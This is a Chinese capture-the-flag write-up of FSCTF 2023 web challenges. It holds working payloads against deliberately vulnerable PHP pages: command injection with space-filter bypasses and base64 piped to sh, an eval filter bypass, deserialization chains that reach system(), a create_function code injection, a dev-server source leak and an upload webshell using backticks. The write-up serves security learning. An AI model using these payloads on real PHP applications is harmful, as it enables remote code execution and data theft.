目录
源码!启动!
这里打开开发人员工具,查看源代码
webshell是啥捏
前面表情包解释为passthru
passthru — 执行外部程序并且显示原始输出
说明
passthru(string $command
, int &$result_code
= null
): ?false
同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command
)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif
, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。
这里就可以直接ls查看了
细狗2.0
过滤了空格
127.0.0.1;ls${IFS}$9/
127.0.0.1;ca\t${IFS}$9/f*
Hello,you
127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
EZ_eval
源代码:
<?php
if(isset($_GET['word'])){
$word = $_GET['word'];
if (preg_match("/cat|tac|tail|more|head|nl|flag|less| /", $word)){
die("nonono.");
}
$word = str_replace("?", "", $word);
eval("?>". $word);
}else{
highlight_file(__FILE__);
}
这里过滤了 cat、tac、tail、more、head、nl、flag、less 和空格,并且删除?
在 eval 中加入了 php 闭合符就说明前面的 eval 被闭合已经不能用了
这道题既然过滤了问号那么就不能使用<?php ?>、<?= ?>和<? ?>
那么就还剩一个 <script language='php'> </script>
其中关于读取命令可以使用 ta\c 或者 ta""c 来绕过过滤 空格用%09 flag 用通配符
最终 payload 如下
?word=<script%09language='php'>system('ta\c%09/f*');</script>
ez_php1
<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$a = $_GET['b'];
$b = $_GET['a'];
if($a!=$b&&md5($a)==md5($b))
{
echo "!!!";
$c = $_POST['FL_AG'];
if(isset($c))
{
if (preg_match('/^.*(flag).*$/', $ja)) {
echo 'You are bad guy!!!';
}
else {
echo "Congratulation!!";
echo $hint1;
}
}
else {
echo "Please input my love FL_AG";
}
} else{
die("game over!");
}
?>
访问L0vey0U.php
访问P0int.php
源代码:
<?php
highlight_file(__FILE__);
error_reporting(0);
class Clazz
{
public $a;
public $b;
public function __wakeup()
{
$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
}
public function __destruct()
{
echo $this->b;
}
}
@unserialize($_POST['data']);
?>
这里直接使用引用输出a即可
payload:
<?php
highlight_file(__FILE__);
error_reporting(0);
class Clazz
{
public $a;
public $b;
public function __wakeup()
{
$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
}
public function __destruct()
{
echo $this->b;
}
}
$a=new Clazz();
$a->b=&$a->a;
echo serialize($a);
?>
data=O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}
巴巴托斯!
这里提示了FSCTF Brower
修改User-Agent
Referer:127.0.0.1
直接伪协议
ez_php2
源代码:
<?php
highlight_file(__file__);
Class Rd{
public $ending;
public $cl;
public $poc;
public function __destruct()
{
echo "All matters have concluded";
die($this->ending);
}
public function __call($name, $arg)
{
foreach ($arg as $key =>$value)
{
if($arg[0]['POC']=="1111")
{
echo "1";
$this->cl->var1 = "system";
}
}
}
}
class Poc{
public $payload;
public $fun;
public function __set($name, $value)
{
$this->payload = $name;
$this->fun = $value;
}
function getflag($paylaod)
{
echo "Have you genuinely accomplished what you set out to do?";
file_get_contents($paylaod);
}
}
class Er{
public $symbol;
public $Flag;
public function __construct()
{
$this->symbol = True;
}
public function __set($name, $value)
{
$value($this->Flag);
}
}
class Ha{
public $start;
public $start1;
public $start2;
public function __construct()
{
echo $this->start1."__construct"."</br>";
}
public function __destruct()
{
if($this->start2==="11111") {
$this->start1->Love($this->start);
echo "You are Good!";
}
}
}
if(isset($_GET['Ha_rde_r']))
{
unserialize($_GET['Ha_rde_r']);
} else{
die("You are Silly goose!");
}
?>
payload:
<?php
highlight_file(__file__);
Class Rd{
public $ending;
public $cl;
public $poc;
}
class Poc{
public $payload;
public $fun;
}
class Er{
public $symbol;
public $Flag='ls /';
}
class Ha{
public $start;
public $start1;
public $start2="11111";
}
$a=new Ha();
$a->start1=new Rd();
$a->start=['POC'=>'1111'];
$a->start1->cl=new Er();
echo serialize($a);
?>
?Ha_rde_r=O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:4:"1111";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";N;s:4:"Flag";s:4:"ls /";}s:3:"poc";N;}s:6:"start2";s:5:"11111";}
把Flag的值改为cat /flag
?Ha_rde_r=O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:4:"1111";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";N;s:4:"Flag";s:9:"cat /flag";}s:3:"poc";N;}s:6:"start2";s:5:"11111";}
寻找蛛丝马迹
这里用火狐修复文字编码即可
和苹果有点关系联想到.DS_store
payload:
FSCTF{Tell_y0U_noT_To_poInT_oUt_tH@t_y000u_Don't_believe_it!}
CanCanNeed
源代码:
<?php
class Noteasy{
protected $param1;
protected $param2;
function __destruct(){
$a=$this->param1;
$b=$this->param2;
if(preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) {
die('this param is error!');
} else {
$a('', $b);
}
}
}
if (!isset($_GET['file'])){
show_source('index.php');
echo "Hi!Welcome to FSCTF2023!";
}
else{
$file=base64_decode($_GET['file']);
unserialize($file); }
?>
分析源码,对传入的 file 参数 base64 解码后反序列化,__destruct 函数中出现了 $a(‘’, $b); ,且 $a 和 $b 可通过 $param1 和 $param2 进行控制。
再观察正则表达式,发现没有过滤 system 和中括号,所以可以使用 system 执行 shell 命令,获取 flag。
所以将 $param1 设置为 create_function ,$param2 设置为 system($_GET[1])
payload:
<?php
class Noteasy
{
protected $param1 = "create_function";
protected $param2 = "};system(\$_POST[1]);//";
function __destruct()
{
$a = $this->param1;
$b = $this->param2;
if (preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) {
die('this param is error!');
} else {
$a('', $b);
}
}
}
$n = new Noteasy();
echo(base64_encode(serialize($n)));
?file=Tzo3OiJOb3RlYXN5IjoyOntzOjk6IgAqAHBhcmFtMSI7czoxNToiY3JlYXRlX2Z1bmN0aW9uIjtzOjk6IgAqAHBhcmFtMiI7czoyMjoifTtzeXN0ZW0oJF9QT1NUWzFdKTsvLyI7fQ==
POST传参
1=ls /
1=cat /f*
签到plus
打比赛时有提示扫一下
那我们就扫一下下
中国人不骗中国人
访问一下
这个flag是假的,我收回上面说的话
看了一下提示,发现是
php7.4.21
的文件泄露
PHP<=7.4.21 Development Server源码泄露漏洞_这周末在做梦的博客-优快云博客
抓包一下修改看看
copy to file
HTTP/0.9 200 OK
Host: node4.anna.nssctf.cn:28201
Date: Sun, 29 Oct 2023 08:53:09 GMT
Connection: close
Content-Length: 443
<?php
phpinfo();
$😀="a";
$😁="b";
$😂="c";
$🤣="d";
$😃="e";
$😄="f";
$😅="g";
$😆="h";
$😉="i";
$😊="j";
$😋="k";
$😎="l";
$😍="m";
$😘="n";
$😗="o";
$😙="p";
$😚="q";
$🙂="r";
$🤗="s";
$🤩="t";
$🤔="u";
$🤨="v";
$😐="w";
$😑="x";
$😶="y";
$🙄="z";
$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔;
if (isset($_GET['👽🦐'])) {
eval($😭($_GET['👽🦐']));
};
?>
payload:
?👽🦐=ls /
?👽🦐=cat /f*
是兄弟,就来传你の🐎!
先传几个试试,发现pht没有被过滤
但又限制了长度
看别的师傅的wp,新的思路
利用BM
头和php中的反引号直接读取flag。
BM<?=`cat /*`;
成功